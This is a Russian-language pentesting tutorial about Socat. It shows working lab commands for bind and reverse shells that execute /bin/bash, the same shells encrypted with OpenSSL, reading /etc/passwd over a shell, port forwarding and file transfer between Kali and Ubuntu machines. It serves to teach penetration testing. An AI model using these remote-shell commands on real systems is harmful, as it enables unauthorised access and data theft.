Socat для пентестинга

Дата: 10.08.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Socat для пентестинга

В этой статье пойдет речь о Socat для тестирования на проникновение. Читатели больше узнают о данной программе и ее возможностях.

Введение

Socat – это ретранслятор, который может использоваться для передачи данных в обоих направлениях между двумя независимыми каналами. Эти каналы данных могут быть представлены в виде файла, канала, устройства (последовательный канал или псевдотерминал), сокета (UNIX, IP4, IP6 (raw), UDP, TCP), сокета SSL, прокси подключения – сервера, файлового дескриптора (например, stdin), редактора строк GNU (например, readline), программы или нескольких программ.

Использование Socat

Socat включает в себя широкий спектр задач, для которых он может быть применен. Например, инструмент можно использовать в качестве ретранслятора TCP-портов, внешнего соксификатора, для атаки слабых межсетевых экранов, в качестве интерфейса Shell для сокетов UNIX или ретранслятора IP6, для перенаправления программ, ориентированных на TCP, для логического подключения последовательных каналов на разных компьютерах. Более того, Socat также подходит для создания безопасной среды для запуска клиентских или серверных скриптов Shell с сетевыми подключениями.  

Netcat VS Socat

Многие пользователи уже давно пользуются Netcat. Программа стала ежедневным атрибутом для многих тестировщиков на проникновение с момента выхода ее первоначальной версии. Инструмент хвалят за то, что он прост в использовании и может записывать или считывать данные по сетевым соединениям с использованием TCP и UDP. А что насчет Socat? Как уже было сказано, это ретранслятор, который работает в двух направлениях. Он обладает уникальными функциями, такими как установление нескольких соединений, создание безопасного канала, поддержка большого количества протоколов (OpenSSL, SCTP, Socket, Tunnel и другие).

Bind Shell

Стоит начать с того, что Bind Shell открывает порт на удаленной машине, который ожидает входящего соединения. Как только пользователь подключается к листенеру, пользователю предоставляется Shell для взаимодействия.

В данном примере пользователь будет использовать Socat для создания листенера на порту под номером 5555 на своей машине Ubuntu. Как только он выполнит представленную ниже команду, на порту будет создан листенер, который ожидает входящего соединения. Пользователь вводит команду Socat с добавлением «-d -d», чтобы отправлять сообщения о фатальных ошибках, показывать предупреждения или уведомления. У него также есть тип адреса TCP4, за которым следует объект, который он хочет использовать, например, для прослушивания сети. Есть также номер порта и тип Shell, который пользователь хочет предоставить гостю.

socat -d -d TCP4-LISTEN:5555 EXEC:/bin/bash
Socat для пентестинга

Пользователь переключается на другую машину, т.е. Kali Linux, чтобы подключиться к Ubuntu, на которой был создан листенер. Ему нужно знать IP-адрес и номер порта, на котором работает сам листенер. Он указывает тип адреса, IP и порт, чтобы подключиться к Bash Shell. Основная проблема с этим типом сеанса – это отсутствие аутентификации. Любой пользователь с необходимыми данными может подключиться к Shell и выполнять команды, которые способны повлиять на работу системы. Помимо отсутствия аутентификации, связь, осуществляемая через Bind Shell, подвержена атакам типа Sniffing.

socat - TCP4:192.168.168.1.141:5555
Socat для пентестинга

Зашифрованный Bind Shell

В предыдущем разделе читатели узнали о Bind Shell и его недостаточном уровне безопасности. Чтобы сделать связь между целевым пользователем и пользователем-клиентом более безопасной, следует добавить функцию шифрования Shell. Следует использовать OpenSSL для этой задачи. При шифровании ни один хакер в сети не сможет перехватывать трафик между пользователями через Bind Shell. Чтобы зашифровать его с помощью OpenSSL, сначала нужно создать ключ и связанный с ним сертификат. В данном примере пользователь создает ключ с именем «bind_shell.the key» и сертификат под названием «bind_shell.crt». Формат сертификата – x509, а срок его действия составляет 362 дня.

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
Socat для пентестинга

Создание ключа и сертификата – это еще не все, что требуется для шифрования Bind Shell. Прежде чем двигаться дальше, необходимо использовать их для создания файла в формате .pem. Этот файл затем можно применить для добавления зашифрованного Bind Shell с помощью инструмента Socat. Пользователь может отправить как ключ, так и сертификат с помощью команды cat и создать файл «bind_shell.pem». Затем он использует его для добавления листенера, как делал и раньше, но вместо TCP4 теперь использует OPENSSL. Человек создал листенер на порту под номером 9999.

cat bind_shell.key bind_shell.crt > bind_shell.pem
socat -OPENSSL-LISTEN:9999,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
Socat для пентестинга

Теперь, когда пользователь создал листенер на порту под номером 9999, нужно использовать Kali Linux для подключения к Bind Shell, как и ранее. Человек также меняет тип адреса на OPENSSL. Он видит, что может подключиться к целевой машине. С помощью OpenSSL пользователь зашифровал связь между машиной Kali и машиной Ubuntu. Если злоумышленник попытается перехватить трафик между ними, он не сможет прочитать его содержимое.

socat – OPENSSL:192.168.1.141:9999,verify=0
Socat для пентестинга

Reverse Shell

Термин «Reverse Shell» происходит от метода его создания. Пользователь уже знает, что на компьютере Ubuntu запущен листенер, и машина Kali подключается именно к нему. В данном случае удаленной является машина Ubuntu, а машина Kali будет локальной. Таким образом, сеанс отправляется с компьютера Ubuntu на компьютер Kali. Это означает, что листенер будет работать на машине Kali. Reverse Shell обычно используется с целевой машины для установления обратной связи с атакующей машиной.

В средах, где есть NAT или межсетевой экран, Reverse Shell может быть единственным способом получить доступ к машине. Для связи между Kali и Ubuntu с помощью Socat сначала нужно будет запустить листенер на машине Kali. Это похоже на команду, которую пользователь выполнял ранее в примере с Bind Shell. Разница лишь в том, что «STDOUT» добавляется в конце команды для создания листенера для Reverse Shell.

socat -d -d TCP4-LISTEN:9999 STDOUT
Socat для пентестинга

Теперь пользователь переходит к машине Ubuntu, чтобы запустить обратное соединение для подключения к его листенеру на машине Kali. Нужен тип адреса, IP и порт с типом подключения, которое следует установить. Reverse Bash Shell получен.

socat TCP4:192.168.1.2:9999 EXEC:/bin/bash
Socat для пентестинга

Чтобы просмотреть и проверить тип соединения, которое пользователь установил с машиной Ubuntu, ему нужен базовый Bash Shell на машине Kali.

Socat для пентестинга

Зашифрованный Reverse Shell

Как и в случае с Bind Shell, в Reverse Shell также отсутствует защита – есть уязвимость к атакам типа Sniffing. Пользователь будет внедрять аналогичные методы для шифрования сообщений в Reverse Shell. Чтобы зашифровать трафик с помощью OpenSSL, сначала нужно создать ключ и связанный с ним сертификат. В данном примере пользователь создает ключ под названием «ignite. the key» и сертификат под названием «ignite.crt». Срок действия сертификата составляет 1000 дней.

openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt
Socat для пентестинга

Теперь нужно преобразовать ключ и сертификат в файл в формате .pem. Пользователь опять будет использовать команду cat для создания этого файла.

cat ignite.key ignite.crt > ignite.pem
Socat для пентестинга

Теперь, когда у пользователя есть файл в формате .pem, остальная часть процесса очень похожа на то, как он поступал с зашифрованным Bind Shell и секциями Reverse Shell. Человек создает листенер на машине Kali, используя OPENSSL в качестве типа адреса и pem-файл.

Socat для пентестинга

На машине Ubuntu следует создать Reverse Shell для листенера, который был добавлен на машине Kali. Пользователь будет использовать один и тот же тип адреса, т.е. OPENSSL, в комбинации с IP-адресом, портом и типом Shell, который ожидает листенер.

Socat для пентестинга

Теперь необходимо проверить функциональность Shell. Пока пользователь это делает, он также будет фиксировать трафик между машиной Ubuntu и машиной Kali с помощью Wireshark. Человек проанализирует весь трафик, чтобы узнать, смог ли он словить сообщения. Пользователь читает содержимое файла /etc/passwd с помощью команды «tail». Это отличный пример, поскольку данный тип данных, которые, если их атаковать с помощью сниффинга и украсть, могут привести к довольно серьезным последствиям для компании.

Socat для пентестинга

После выполнения нескольких команд через Reverse Shell пользователь исследует трафик, захваченный Wireshark, чтобы попытаться понять смысл сообщения. Но, как видно на приведенном ниже изображении, трафик не читается после шифрования с помощью OpenSSL.

Socat для пентестинга

Переадресация портов

Пользователь может использовать Socat для переадресации портов. Это должно быть похоже на опцию переадресации портов в Metasploit. Ее можно использовать, когда у человека есть сеанс компьютера и другая служба, доступная только для этой скомпрометированной машины. Пользователь может активировать функцию переадресации портов для переадресации работы данной службы на свою локальную машину. Чтобы продемонстрировать такой скрипт, у пользователя есть сеанс на его машине Ubuntu. После выполнения команды «netstat» человек смог определить, что запущена служба HTTP, доступная для компьютера Ubuntu, а не для его машины Kali. С помощью Socat человек перенаправит работу службы HTTP, доступной на порту под номером 8080, на локальный порт под номером 1234 машины Kali.

netstat -antp
Socat для пентестинга

Теперь, когда пользователь переадресовал работу службы, он может получить доступ к ней на своей машине Kali через порт под номером 1234. Поскольку это служба HTTP, он использовал веб-браузер, чтобы просмотреть ее, и нашел нужную веб-страницу.

Socat для пентестинга

Передача файлов

Настало время открыть для себя еще одну функцию Socat. Пользователь может отправлять файлы с помощью соединения, которое было установлено посредством программы. Для демонстрации человек создает текстовый файл с небольшим сообщением. Затем он запускает Socat с типом адреса TCP4 и добавляет листенер с размещением файла с помощью ключевого слова.

cat demo.txt
socat TCP4-LISTEN:443, fork file:demo.txt
Socat для пентестинга

Пользователь создал файл для отправки на своем компьютере Kali. Теперь он переходит на компьютер Ubuntu и пытается передать файл demo.txt на него. Нужно подключиться к листенеру, созданному на ПК Kali, и указать имя файла, размещенного вместе с ключевым словом.

socat TCP4:192.168.1.2:443 file:demo.txt, create
ls
cat demo.txt
Socat для пентестинга

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *